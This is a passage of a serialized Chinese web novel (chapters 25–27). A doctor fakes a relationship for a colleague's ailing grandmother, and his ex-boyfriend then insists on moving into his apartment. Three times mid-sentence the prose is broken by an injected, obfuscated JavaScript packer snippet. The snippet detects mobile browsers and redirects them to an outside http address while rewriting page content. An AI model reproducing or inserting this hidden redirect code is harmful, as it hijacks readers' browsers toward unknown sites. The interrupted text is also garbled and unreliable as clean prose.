方清珏坐在实验台前观察着培养皿,偶尔提笔记上几句。兜里的手机隔几秒就震上一震,引得一旁的牧泽看过来好几眼。 “不看看吗?”牧泽说,“可能有急事。” 有个屁急事,全是老男人的土味情话,都不知道是从哪个犄角旮旯抄来的。 “垃圾短信,不用管。” “哦。”牧泽垂着眼,纤长的睫毛盖下来,像薄薄的蝉翼,“奶奶……从一院转过来了。” 方清珏抬起头来看他:“你想让我继续陪你演戏?” “可以吗?” “病情稳定吗?不怕刺激到她?” “不演才会刺激到。” 啧。 世界大了真是无奇不有,居然还有长辈上赶着让孙子往家里领男人,不领还不行的。 想到牧泽的家人日后都在医院陪床,少不了会碰面,方清珏提议:“既然要演,那就演得逼真点。” “我也是这么想的。” 下班后,方清珏陪牧泽去住院部见奶奶。那是一位白发苍苍又病恹恹的老人,面相并不慈祥,看起来很精明,略显浑浊的目光有一种莫名的力量,像是能把人看透。 他无端想起了和蔼可亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139914|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的陈婆,在心里感叹着,原来并不是每个老人都会有亲和力。 老人看见他很高兴,拉着他的手语重心长地道:“孩子,你一定要好好待小泽,莫要辜负了他。” 这虽然是单人病房,但护士和护工都在,老太太却没有避讳旁人的意思,就这么堂而皇之地将牧泽的性取向说了出来,搞得方清珏微微有些哑然,顿了几秒才开口,“放心吧奶奶。” “好。”老人拍了拍他的手,像是终于松了口气,“这样我就放心了。” 一旁的护士诧异极了,她实在没想到精神科的主治医生居然会是同性恋,整个人都被这个惊天大瓜砸得有些懵,一走神儿就和拎着保温饭盒要进来的男人撞了个正着。 “护士姐姐,走路看着点呀。”男人笑得痞痞地,后退一步让开了路。 这声音…… 方清珏当即回过头,登时就愣住了。 嵇野? 他怎么在这? 几天不见,他重新理了头发,还剃光了胡子——不是每个男人留胡子都会有男人味,都会有荷尔蒙爆棚到溢出来的感觉,但嵇野的胡子和他的五官还有气质完全适配,就像他本该有胡子,所以突然看他不留胡子的样子,反而让人觉得少了点什么。 方清珏微忖几秒,心道,不会吧,难不成他就是牧泽那个没有血缘关系的弟弟? 不同于他的惊讶,嵇野看见他一点也不意外,但也没打招呼,就像完全不认识他。 “阿野来啦?”老人朝站在门口的男人笑。 “奶奶,这是妈妈亲手做的。”嵇野将饭盒放在床尾桌上,“尝尝看?” “好好好。” 嵇野扶老人坐到床尾,全程没看过来一眼,仿佛他们根本不存在。 方清珏下意识看向牧泽,见他脊背绷得很紧,情绪明显有些不对,便压下心中的疑惑偷偷拽了拽他的袖口。 牧泽回过神来,扯着唇角笑得有些牵强:“奶奶,我明天再来看你。” 老人笑着点了点头,嵇野这才像刚注意到他似的,笑道:“哥哥的眼光真不错,梁小姐我很喜欢。” 闻言,牧泽的身体陡然一僵:“……那就好。” 嵇野扫了一眼方清珏,意味深长地说:“哥哥给我选好了订婚对象,我却没能帮哥哥选上一选,也不知道以后还有没有机会。” 牧泽别过脸,“没有了。” “那真可惜。”嵇野像模像样地叹了口气,牧泽没再多说,拉着方清珏一起走了出去。 这两人之间的气氛很怪,像离婚后又不得不在长辈面前粉饰太平的怨偶,不是话里有话,就是笑里藏刀,字字都是珠玑。 出了病房,牧泽像是脱了水的鱼,无力地倚靠着走廊的墙壁。方清珏拍了拍他的背,故意调侃道:“你这跟连开十几台开颅手术一样。” 牧泽闭着眼深呼吸了一下,再睁开眼时,又变回那副清冷内敛的模样,仿佛方才的慌乱与难堪都只是错觉。 二人一起出了住院部,朝医院的大门口走过去,不远处的老槐树下有个男人,坐在行李箱上玩手机,看样子不像是来看病的,倒像是在等人。 夕阳无限好,琥珀色的晚霞远远地挂在天边,就像焦糖融化在很美远方。那个人似有所感地抬起头,目光与他对上的那一秒立刻弯着眉眼举起手机朝他挥了挥。 微风轻拂而过,槐树枝头轻微地晃了晃,落下几朵纯白,方清珏闻到干燥的空气里似乎浮动着一股朦胧的暗香,憋闷在心中好几年的怨气忽然间就变淡了。 “你朋友?”牧泽顺着他的视线看过去。 方清珏:“不认识。” “是吗?”牧泽看着男人拉着行李箱直奔他们走过来,不大相信地说:“这一看就是来找你的。” 话音落地,江川也走到了方清珏面前。他歪着头,笑吟吟地看着他,眸光分外清亮。 方清珏:“你来干什么?” “我当然是来……”江川瞥了一眼牧泽,脸上的笑容变得意味深长,“知三当三啊。” 25. N.强行同居 江川这一句话说得抑扬顿挫,拿腔作调,连傻子都能听出来话里有话。 牧泽看了看两人,知趣地先走了。方清珏啧了一声,“你不是不知三当三么。” “我的意思是,我不给别人知三当三。”江川从善如流地回答。 方清珏收回视线,绕过他继续往前走。江川立马跟了上来,一路跟到医院附近的一栋公寓楼,“住得还挺近。” “你到底干什么来了?”方清珏按亮电梯。 江川朝他眨了眨眼:“来走个肾。” “……”方清珏的神色彻底冷了下来,几步迈进电梯,“那你还是回去吧。” “为什么?”江川提着行李跟进来,“这不是你要求的吗?” “我后悔了行么?” “不太行。” 方清珏剜了他一眼,没再说话。可能是因为江川一直笑吟吟地看着他,电梯里虽然安静了下来,气氛却不沉默。 “叮——” 电梯门开了。 这栋楼是一梯三户的单身公寓,住户大多数都是在附属医院工作的人。方清珏掏出钥匙往最里面的那扇门走,动作利索地开了门,然后在江川准备往屋里抬行李箱时,嘭地一下关上了门。 江川:“……” 他叩了叩门:“祖宗,你是不是落下个人?” 没人应声。 他继续敲门,力道比刚刚大了许多,咣咣咣的声音回响在楼道里,“我就进去坐一会儿。” “做你妹!” “开门,我是你妹。” “滚!” 江川恍若未闻,继续铛铛铛地敲。可屋里的人好像不在了,门内一片寂静,走廊里也鸦雀无声,仿佛与世隔绝了一般。 他把行李箱往门对面的墙根那儿一杵,坐在上面,掏出手机给向方清珏发了条短信。 -方医生,行行好吧,收留我一晚。 几分钟后,唱了一天独角戏的对话框终于得到了回应。 -再不滚拉黑 江川立刻发了个可怜兮兮的颜文字:T-T -我没地方去。 没想到方清珏压根不吃这套,冷冰冰地回了六个字。 -那你睡大街吧 江川按灭屏幕,心道,路漫漫其修远兮,睡个大街也可以。 * 洗完澡,方清珏走到玄关查看可视门铃,见门外空无一人,猜想江川已经走了,顿时就有些失落。 天已经彻底黑了,也不知道这人会去哪儿。他走到阳台向外看,见单元楼门口的路灯下有个人。 他坐在马路牙子上,胳膊交叠在一起搭着立在面前的行李箱,趴在那玩手机。有下班回家的人路过,朝他走过去说了些什么,他笑着摇了摇头,模样可怜又无辜。 方清珏啧了一声,坐回沙发那打开笔记本电脑写报告。放在茶几上的手机安安静静的,不像白天那样隔几分钟就震一下。 一份报告写完都快十点了。 他起身去阳台,见江川还坐在路灯下,依旧保持着几个小时前的姿势,趴在行李箱上一动也不动,像是睡着了。 天气预报好像说今天晚上有雨? 方清珏扫视一圈,视线定格在空无一物的垃圾桶上。 他扯了张新的垃圾袋,将冰箱里新鲜瓜果扔进去,然后拎着垃圾袋下楼。 刚走出单元楼,还没下台阶,江川就像有心灵感应似的抬起了头。视线相对的那一刻,他眯眼笑了笑,“晚上好呀。” 垃圾桶在江川斜对面,隔着一条人行甬道,方清珏若无其事地走过去,将垃圾袋扔进垃圾桶,转过身来看着他:“你坐这干什么?” “睡大街呀。”江川理所当然地说,“不是你让的么。” 方清珏:“……” 他哑然一秒,说:“我就是随口一说,又不是真让你睡大街,你能不能长点脑子?总不能我让你干什么你就干什么。” “为什么不能?”江川一脸认真,“我什么时候拒绝过你。” 方清珏斜睨着他,足足瞪了得有半分钟才收回视线,“那你去给我煮碗面。” 江川顺坡下驴:“那我得借下厨房。” 方清珏没说好也没说不好,转身就往楼里走。上了台阶发现没人跟上来,便回过头去看。 江川还抱着行李箱坐在那里,眉眼弯弯地看着他,一副诡计得逞了的样子,尾巴都要翘到天上去了。 “你想在这喂蚊子?” “能带上行李箱吗?” “不怕丢你就放这。” “倒不是怕丢。”江川立刻拉着行李箱跟上来,“我是怕煮完面还得下来,那我今晚还用睡大街吗?” 方清珏瞪了他一眼。 “不会是让我住楼道吧……” 方清珏不说话。 “也不是不行,至少睡楼道比睡大街强一点。” “再磨叽你就滚回去。” 江川立刻闭上了嘴。 跟在方清珏身后走进屋,他将行李箱放在门口,迅速打量了一圈屋子。 这房子大概四十多平,是很典型的单身公寓,客厅卧室一体,中间用一排墙高的镂空书架做隔断。玄关左手边是开放式厨房,右手边是洗手间,布局紧凑,家具不多,生活气息很淡,不像经常住人的样子。 方清珏从鞋柜里拿出一双拖鞋扔在地上,示意他换。江川低头一看,男款黑色,不禁面色一变,“家里来过客人?” “人没有,不是人的倒有一个。”方清珏坐在沙发上。 江川穿上拖鞋,走到冰箱面前打开柜门,见里面放着昨晚那个没吃几口的生日蛋糕,还有几袋乌冬面和猴头菇米稀,一小把菠菜,几颗西红柿和一盒没拆封的柴鸡蛋。 他拿出鸡蛋和乌冬面,走到橱柜前煮了一锅水,“这房子是回来后租的?” “院里安排的。”方清珏将笔记本抱到腿上,整个人都陷进软沙发里,噼里啪啦地按着键盘。 见他忙起了工作,江川便没再说话。他将西红柿切成丁熬了锅番茄汤,然后就着汤底煮了两碗面。 这屋子里没有餐桌,只能将茶几当餐桌使,江川将面端到茶几上,招呼着:“吃吧。” 方清珏瞥了一眼,是红汤作底的番茄鸡蛋面,金黄色的鸡蛋碎和翠绿的葱花点缀在热气腾腾的面条上,色泽鲜艳诱人,香气四溢,看起来非常有食欲。 他将笔记本电脑放在一旁,身子向下一滑,盘腿坐在地毯上,拿起筷子吃了一口。 还是当年的味道。 他有点苦夏,一到夏天就没有胃口,吃不下去饭。江川便经常做冷面,带冰碴的那种,冰冰凉凉酸酸甜甜,配上酸辣可口的辣白菜一起吃。 但那东西伤胃,不能天天吃,江川就会用西红柿和番茄酱熬很浓稠的酸汤,这个酸不是醋兑出来的那种酸,而是番茄天然的酸味,用来做番茄鸡蛋打卤面或者是汤面都很开胃,方清珏再没食欲也能吃上半碗。 也因此,他对夏天的印象始终停留在闷热的天气,湿漉漉的海风,酸涩的油柑汁和好像永远也吃不完的西红柿。 在国外读书的几年,他尝试着做过这碗面,但怎么做都做不出来记忆里的味道。如今想来,可能不止是做法不对,还少了一份惦念。 “太晚了,吃太饱影响睡眠,所以没煮多少。”江川将手机放在茶几上,挨着他坐下来。 方清珏嗯了一声。 江川看了他一眼,然后默不作声地伸过手来,拢住他的头发顺手用佛珠给他扎了个低马尾。他动作很快,没等方清珏反应过来就扎好了。 方清珏张了张嘴,正想说什么,就听见他问:“狼尾都到锁骨了,要剪剪吗?” “惦记上我头发了是吧?” 江川有些好笑地说:“人不能惦记,还不能惦记惦记头发?” 方清珏一言难尽地看着他。 “今天输液了没?” “关你屁事。” “没输吃完我陪你去,反正医院离得也近。” “……”方清珏说,“输过了。” 江川点头,“那一会把药吃上,医生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139915|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说你至少得输一星期,我会监督你的。” “你还想赖在我这一星期?”方清珏注视着他,“你店不开了?” “反正生意也不怎么样,先在你这住着吧。” “想得倒美,天亮赶紧滚。” 江川端出一副可怜兮兮的表情:“我会做饭,还能收拾家务,白天可以送你上下班,晚上可以给你暖床——” “不需要。”方清珏站起身,拿着吃完的空碗去水槽那洗,“明天自己走,别逼我赶你。” “……”江川动了动唇,“那咱两合租呢?” “再磨叽?” 江川立刻闭嘴了。 方清珏控干碗里的水,把碗收进餐柜,顺手将佛珠撸下来戴在手上,回沙发那继续捧着电脑查文献资料。 江川吃完饭也去洗碗,回来时看见沙发角落里放着一个中号纸箱,是从港城邮过来的。他脸色一沉,音调都变低了,“谁给你邮的?” “关你屁事。”方清珏指了指沙发,“你睡这。” “为什么?”江川委屈巴巴地问。 “不睡就滚。”他抱着电脑走到书架后面的双人床边,甩掉拖鞋坐在床上继续忙活。 江川将那副表情收了,坐在沙发上盯着那个纸箱,一声不吭,表情很耐人寻味。 半晌后,他端了杯热水过来让方清珏吃药。这时候都快半夜了,方清珏合上电脑,喝完药等江川躺回沙发就灭了灯。 屋里一暗下来,月光便毫不吝啬地倾入,在墙上割裂出黑白分明的光影。他侧过头,透过书架的缝隙隔着夜色打量沙发上的江川,却意外撞入一双比清月还要亮的眼。 “没被子吗?”江川看着这边说。 方清珏的心猛地跳了一下,在胸腔里有力地来回撞击。 江川已经摘掉了眼镜,他不确定偷看有没有被发现,便没有立刻收回视线,“你没带?” “倒是想把你用惯的那套夏凉被带过来。”江川没忍住笑出了声,“但行李箱放不下。” 他后知后觉地发现这个问题有点白痴,给他分了条毯子。江川团了团抱在怀里:“我还没洗澡呢。” “谁不让你洗了?” “我没带洗漱用品。” “卫生间有现成的。” “也没带换洗内裤。” 方清珏斜了他一眼。 不知道是不是错觉,他看过去的时候江川还望着电视机的方向,下一秒就偏头看了过来。他立刻收回视线,掀开被子躺进去:“你行李箱是摆设?” 江川语调软软的,像是在故意卖乖:“走的太急忘拿了。” 方清珏又啧了一声,“那你光着吧。” “也不是不行。” 屋内安静了没一会儿就响起了脚步声,声音渐行渐远,然后停在了玄关。 下一秒,房间倏然亮了些许,应该是卫生间的灯被打开了。 方清珏抬眼看过去,又立刻收回了目光,骂骂咧咧道:“你他妈不会进去以后再脱啊!” “在哪儿脱不一样,反正明天也得光着。”江川将内裤扔在洗手间门口的洗衣机上,“我就不关门了,省得你看着费劲。” “谁稀罕看你!” “那你怎么知道我脱衣服了?” “……” 方清珏扯过被子闷在头上,不说话了。等洗手间传来流水声,他才起来去衣柜里翻了翻,拿出一条没穿过的内裤扔在了沙发上。 江川洗得很久,淅淅沥沥的水声像夏夜里的小雨,听得人昏昏欲睡。 方清珏没一会儿就睡了过去,在失去意识的前一秒他还在心里骂自己贱,骂江川一凑过来他就能睡着觉了。 不知过了多久,江川才披着浴巾哆哆嗦嗦地走出浴室。 夜深人静,房间里只有轻微的鼾声。 窗外的云层微微散开,露出半遮半掩的明月,皎洁的月光落在方清珏的脸上,连薄如蝉翼的睫羽都缀着淡淡的银光。 江川坐在床边静静地看着他,然后慢慢俯下身,偷走了一个无人知晓的吻。 26. N.世界尽头 方清珏是被接连不断的喷嚏声给吵醒的。 “你着凉了?”他从床上爬起来,透过镂空的书架看向躺在沙发上的人。 江川也坐了起来,食指横在鼻下蹭了蹭,“可能是。” “不应该啊。”方清珏狐疑道,“屋里没开空调,窗口还对着我,这大夏天的你怎么会着凉?” “阿嚏——!” 江川又打了个喷嚏,病恹恹地说:“可能是踹被子了吧。” 方清珏啧了一声,“连被子都不愿意跟你待在一起,还不赶紧收拾收拾滚蛋。” “……这么绝情啊。”江川耷拉着眉眼。 方清珏下床去洗漱:“别演。” 江川:“……” 他一秒恢复回平日里那副似笑非笑的表情,起身去冰箱里取出几个鸡蛋,拿着锅做饭。 水蒸蛋的香味传过来,方清珏猛地想起来什么,探出头看他:“你昨天用的我牙刷?” “对啊。”江川说,“不是你说有现成的么。” 方清珏:“……” 他深吸一口气,“你没看见一旁的收纳盒里有新的?” “看见了。”江川回头冲他眨了眨眼,“但你没说可以用,我就没动。” 方清珏:“……” 他看着手里的牙刷,继续刷也不是,不刷也不是,干脆接了捧水漱了漱口。 等蛋蒸好的功夫江川又切了点菠菜煮了锅蔬菜粥,然后去卫生间洗漱,用的还是方清珏刚用过的那支牙刷。 “这栋楼还有对外出租的房子吗?” “不知道。”方清珏沉吟几秒,“你打算在这租房子?” “你还有一个月才开学呢,我总不能住一个月酒店。” “……”方清珏眨了眨眼,“那等我开学以后呢?” “当然是回去啊。” 将沙发上的毯子叠起来塞进柜子里,他试探道:“莱市理发挺贵的,一次得二三十美金。” “是嘛。”江川将菠菜倒进锅里烫了烫,没有继续往下说的意思。 方清珏看着他的背影,心情很复杂,一时间都不知道该怎么形容。原本他还分不清这人究竟是一时兴起还是余情未了,如今算是终于确定了。 一颗心凉了半截,他用力抿了下唇,垂落的眼睫在肌肤上落下一道落寞的青影,倔强中透着渗人的冷。 江川拌好一盘陈醋菠菜,将吃食一一放到茶几上,说:“吃饭吧。” 方清珏嗯了一声,走过来坐在地毯上,端起饭碗喝了一口粥。 “你们什么时候午休?” “闭嘴。” “……” 江川欲言又止地看过来几眼,似乎有话想说,方清珏只当没看见,几口吃完水蒸蛋便放下了碗,剩下多半碗粥。 胃溃疡不宜进食过多,江川没像在医院时那样逼他,拿过他的碗将剩下的粥喝光,然后端着盘子和碗去洗。 方清珏从茶几下面的收纳筐里翻出一包感冒灵,端着马克杯接了杯热水,冲泡开,放在水槽边。 这还是他刚来B市时买的。 莱市在南半球,这时候正值隆冬,他一天连打好几份工,硬生生把自己折腾成了重感冒。 “给我冲的?”江川洗完碗,甩了甩手上的水。 “喝完赶紧滚。” 江川端起马克杯抿了一口,笑着说:“有点烫。” “饮水机是恒温的,烫个屁。” “……” 把行李箱拎到玄关,方清珏低头换鞋,拿起钥匙揣进兜里,一脸不耐烦地看着他。 江川这才两口喝光药,走过来也换好了鞋,“我先送你去上班吧。” “用不着。” “要的,反正我也没地方去。” “……” 方清珏走得很快,像是有意和他拉开距离,也没搭腔他接连抛出的话题。两个人走到医院的实验楼下,他目不斜视地进了楼,连个眼神都没分给身后的人。 江川目送着他的背影,直到看不见了才收回视线。 兜里的手机响了起来,是秦朗打来的。他举着电话转身往出走,声音略低:“嗯,我没去那住。” “不用,我有地方住,你租出去吧。” 走出医院大门,他掏出车钥匙按响路边的黑色商务车,打开车门坐进去,“这怎么能叫见外呢,车我不开着呢嘛,啊嚏!” “没感冒,可能是洗澡水太凉了。” “行,那一会儿公司见。” * 今天牧泽难得来的有点晚,脸色还不太好,像一晚没睡似的。 “昨晚熬夜了?”方清珏问。 牧泽摇了摇头,“阿野找你麻烦了吗?” 方清珏不答反问:“你真觉得他信了?” 牧泽低头整理实验报告,没说话。哈德森推门进来,招呼他们过去开会,方清珏就没再多问。 晌午,两个人照旧一起去食堂吃饭。 牧泽像是没什么胃口,用自带的分格便当盒打了一份清粥小菜,比方清珏还像个胃病患者。 他们面对面坐在中央空调附近,后面就是供水器和水槽。牧泽先去洗了洗手,又从兜里掏出筷子盒,拿着筷子去供水器那用热水烫了烫,然后才坐回来吃饭。 方清珏本想给他夹个鸡腿,但想起昨天这人给自己分自带的火腿片都用的公筷,便放弃了。 他低头吃了口饭,感觉有人在旁边坐了下来。 “这么巧啊。” 牧泽筷子一顿。 他不说话,方清珏便也当没看见,继续吃饭。嵇野倒不尴尬,歪着身子面朝他侧坐在长椅上,支着下巴,懒洋洋地道:“我今儿早看见江儿送你上的班儿,你两复合了?” 牧泽狐疑地看过来,随后便像明白了什么似的微微睁大了眼睛。 方清珏:“没有。” “噢。那你这是……”嵇野抬手,食指在牧泽和方清珏之间指了指,“脚踏两条船?” 方清珏放下筷子看他,声音发冷:“关你屁事?” 嵇野一听就笑了,“你抢我男人,还问关不关我事?” 不知道为什么,方清珏并没有震惊,而是茅塞顿开恍然大悟,心道,怪不得这两个人之间的气氛这么怪,原来真的在一起过。 可他们不是兄弟吗? “嵇野!”牧泽声音里带着警告。 嵇野扬起下巴看他,用舌尖抵了抵腮帮,样子颇为玩世不恭:“我哪儿句话说得不对?” “这里是医院!”牧泽倏地站起身,“你不要脸,嵇家还得要。” 他说着便抓起方清珏的胳膊,“我们走。” “别啊,要走也是我走。”嵇野按着方清珏的肩膀,不让他站起来,“我就是来打个饭,你们继续吃。” “哦对了。”他松手时又说了一句,“下个月我订婚,两位记得来捧场。” 闻言,牧泽的脸色忽然变得很难看,方清珏也很惊讶:“这么快?” 嵇野意味深长地笑了笑,目光落在一言不发的牧泽身上,“可没某人找男人的速度快。” 扔下这句话,他拎着饭盒去打饭了。牧泽捏紧了筷子,身子微不可查地有些发抖。 方清珏眨了眨眼,试探着问:“你找我演戏给奶奶看,是因为她知道你们的事?” 牧泽低着头,听罢只低低地嗯了一声。 “那伯父伯母……” “他们不知道。” 牧泽顿了顿,又低声嘟囔了一句,像是在自言自语,“不能让他们知道,不然阿野就毁了。” 闻言,方清珏有点茫然。 虽然很多父母都接受不了孩子是同性恋,但也不至于如此盲目,逼其中一个往家领男人,又逼另一个闪婚。 “为什么这么说?” 牧泽搅了搅碗里的粥,沉吟了几秒才开口,像是不知该怎么说:“在干爹眼里,同性恋是病,是病就得治,治不好不会罢休。” 方清珏想起国外那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139916|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些非法经营的戒同所,顿时脊背发凉:“可你出柜,他们怎么……” 牧泽敛眸,神色有些落寞:“所以我被赶出来了。” 怪不得他都挑晚上才去看奶奶,原来是为了避免撞见嵇野爸妈。 牧泽并非他们的骨肉至亲,关系说断就能断,大不了眼不见为净。 但嵇野不一样,亲儿子是同性恋,嵇公会觉得是家门不幸,是莫大耻辱,八成会选择极端方法给他治病。精神科有不少这种情况,那些家长私底下对孩子采取电击治疗,最后性向没改变,人倒是疯了。 “奶奶不同意你们的事,所以催你和嵇野相亲,你找我演戏一是为了让奶奶放心,二是为了彻底断了嵇野的念想?”方清珏问。 牧泽微微摇了摇头,“奶奶不知道我和阿野的事,她以为是我单方面对阿野动了心思,所以逼我找人,也逼阿野尽快成婚。” 原来如此。 如果嵇公无法接受同性恋,那这件事确实不能让嵇家的任何人知道。牧泽因为出柜众叛亲离,若是嵇野再出柜,嵇家一定会觉得事情蹊跷,甚至会怀疑牧泽在蓄意引诱,到时候被毁掉的人恐怕不止嵇野一个。 怪不得奶奶会那么和他说话,还让牧泽以长兄的身份给嵇野挑订婚对象,她这是知道自己时日无多,想快刀斩乱麻,彻底断了牧泽的念想。 老一辈思想顽固又天真,总以为时间长了爱人就会成旧人,殊不知结了也能离,就算不离还有婚外情。 方一航不就是活生生的例子。 方清珏曾经很厌恶方一航,觉得他很自私,为了给方家留后娶了林真真,生完孩子就像完成任务似的抛妻弃子去追求真爱,毁了林真真一生。 但自从知道林真真是自愿插足这段关系的,不存在骗婚,他又觉得这三个人都不无辜,都很可恨,都是咎由自取。 没想到嵇野也是这种烂人。 方清珏抿了抿唇,“可你不觉得,这样很对不起梁小姐么。” 牧泽叹了口气:“奶奶挑选的几户人家,属梁家有能力与嵇家抗衡,而且他们打小就不太对付,我以为她不会同意的。” “估计也是身不由己吧。”方清珏说。 被嵇野这么一搅合,两个人都没什么胃口再吃,干脆一起离开了食堂。 方清珏一想起方一航就心烦得不行,摸了摸身上的兜,又摸了摸裤兜,摸出来半包烟。 他抽出来一支,正想放进嘴里,突然想起牧泽的洁癖,便又将烟放了回去。 “想抽就抽吧。”牧泽说。 他沐浴在暖融融的日光里,神情却分外落寞,像是冰冻在永不消融的寒石之中,阳光于他而言只是经过。 方清珏抽出一支烟,试探着递过去。牧泽垂眼看了几秒,伸手接住。 他掏出打火机给他点火:“想过离开这里吗?” 牧泽抽了口烟,呛得咳嗽了几声,眼里泛起了不明显的水光,“想过。” “那你怎么……” “你应该听过一句话吧。”他看过来,“树欲静而风不止,子欲养而亲不待。” 方清珏有些懵懂地点了点头,不懂这两者有什么关系,“听过。” 牧泽用力吸了一口烟,可能是实在无法习惯,他捂着唇剧烈地咳嗽了起来。 方清珏拍了拍他的背,他摆了摆手,示意他没事,然后用微哑的嗓音问:“你在澳洲这些年,去过世界尽头吗?” “塔斯马尼亚吗?教授带我们去过。” “我也去过。”牧泽将烟按灭在一旁的垃圾桶上,然后将剩下的半截烟扔了进去,“那根本不是世界尽头,这个世界没有尽头,所以离开没有用,去哪儿都是一样的。” 方清珏听得云里雾里,牧泽却好似不打算再说了,话锋一转,问:“昨晚来接你的是你男朋友?” “前男友。”他纠正。 牧泽用酒精湿巾仔细擦拭拿烟的那只手,听罢,有些意外地看过来:“我看他挺喜欢你的,怎么会分手呢?” 27.N.暧昧阻隔 因为…… 只是看起来而已。 方清珏也熄灭烟,转身去门诊楼也输液。 输液室永远都有哭啼不止的小孩和哐哐咳嗽的大爷,他安静地坐在角落,低着头,一脸想睡但睡不着的烦躁。 兜里的手机又震了几下,不用想都知道是哪个老渣男发来的。 -休息了没?中午准备吃啥? -辛辣油炸的不能吃,肉也得少吃,你不爱喝粥就吃碗面。 -人呢? -有时间打针吗?不然下班了我陪你去吧。 方清珏挨条信息反反复复地看,半晌才锁上屏幕,没有半点回复的意思。 将手机揣回兜里,有两名十六七岁的姑娘推着吊瓶架朝这边走了过来,一边走还一边盯着他小声交谈。 方清珏低下头,刚阖闭双眼,那两姑娘就在隔壁坐下了。她们咬耳朵的声音不大,和哭闹的孩子比简直是天壤之别,但可能是离得近,他还是能听见—— “是他吗?我没看过他的秀,就看过几张你发给我的照片,还真不敢确认。” “看着很像,但他好像睡着了……” “总会醒的嘛。你别紧张,模特又不是明星,应该不会拒绝你要签名。” “那不一定,上次不就被郁攻拒绝了。” “郁攻是什么人呐,那可是京圈太子爷,连中秦老总都得上赶着巴结,人能给你签名才怪呢!再说他也不是娱乐圈的,就一纯粹舞蹈家,肯定讨厌饭圈这一套儿啊。” “你说的有道理,那一会儿你帮我要签名吧。” “嘿……,我今儿就不该来陪你打针,还不如去中秦楼下蹲点儿呢,没准真能看见汸太。” “你瞅瞅你,我墙头起码是舞蹈圈总攻,那脸是全网都公认的帅,你家汸太给中秦作曲好几年连个面都没露过。” “你懂什么,人家这叫不靠脸,靠得是才华!” …… 两姑娘争论不休,孩子的哭闹声也越来越大,隔壁座的大爷咳嗽的嗓子都要掉地上了,方清珏实在忍不下去了,站起身,推着吊瓶架去了牙科门诊部。 医学生最重要的就是临床经验,他这半个月经常来帮忙,和科室的医生护士都混熟了,这会儿直接进了休息室也没人说什么。 输完液,自己给自己拔掉针头,他将吊瓶架送回输液室转头就去牙科帮忙。一走进诊室,就看见一个小女孩躺在牙椅上,哭闹着不肯配合拔牙。 他接过护士手里的冲牙器,弯腰对小女孩说:“再哭大灰狼就来把你叼走了。” “你骗人!”小女孩泪眼汪汪地反驳,“灰太狼才不会拔我的牙!它是头好狼!” 现在的小孩子可真不好骗啊。 也许是因为投入到工作中,方清珏没那么烦了,他换了种方法:“相信哥哥,一点也不疼。你要是感觉疼就举手,哥哥就不拔了。” 小女孩立刻举起了手,方清珏有点无语地说:“哥哥可还没拔呢。” “是你说感觉疼就举手的。”小女孩抽泣着说。 不管怎么样,这会儿她总算没再嚎啕大哭,医生连哄带骗地让她张开嘴,拿起镊子迅速拔掉了虫牙。 下一秒,小女孩哭得更厉害了,整个诊室都是她的哭声。家长连忙将她抱了出去,方清珏没帮上什么忙,就摘下了口罩,准备去后面的住院部看看。 “医,医生?” 他扭头看过去,门口站着一名十六七岁的女学生,应该是下一名患者。 二人目光相对的一刹那,她缓缓睁大了双眼,眼眸瞬间亮了起来。 一名中年妇女紧跟在她身后走进来,看见方清珏时也有点讶然,小声嘀咕着:“这医生怎么这么年轻,还染头发……” 女学生躲到她身后,“妈,我这口烂牙实在配不上这个医生,要不咱还是别拔了吧?” “我看他也不像能拔的样子,咱换个专家。”中年妇女带女学生出去了。 见状,医生将口罩递还给他,“要不你继续戴着?” “……我还是不搁这添乱了。”方清珏戴上口罩,扭头去了实验楼。 下午哈德森有场手术,点名让他进手术室,出来时已经傍晚了。 更衣室就剩牧泽一个人,其他人早换好衣服下班了。方清珏脱下白大褂,发现手机有好几通未接来电和未读消息。 电话不是江川打来的,是他兼职模特那家公司的老板,凌嘉澍。大抵是猜到他在忙,凌嘉澍发了条消息,说他刚好来B市出差,想顺道见一面。 方清珏问牧泽:“我想请个很重要的人吃饭,有没有合适的餐厅推荐?” 牧泽说了个名字,他知道那里,B市著名约会圣地。 “我是请前辈吃饭,去这里不大合适。” “……哦。那是我误会了。”牧泽抱歉道,“他有什么忌口或者偏好吗?” “忌口没发现。”方清珏思索几秒,“但他挺爱吃中餐。” “那倒是有个地方。”牧泽掏出手机发过来一个地址,“这是一家很私密的私房菜馆,会员制的,挺适合朋友聚会,你去的时候报我名字就行。” 方清珏知道他是想还人情,就没推辞,给凌嘉澍回了消息,又敲定了见面时间。 换好衣服,他和牧泽一同下了楼。刚走到大厅,就看见江川站在实验楼门口,低着个头玩手机。 方清珏登时停下脚步,说:“你先走吧。” 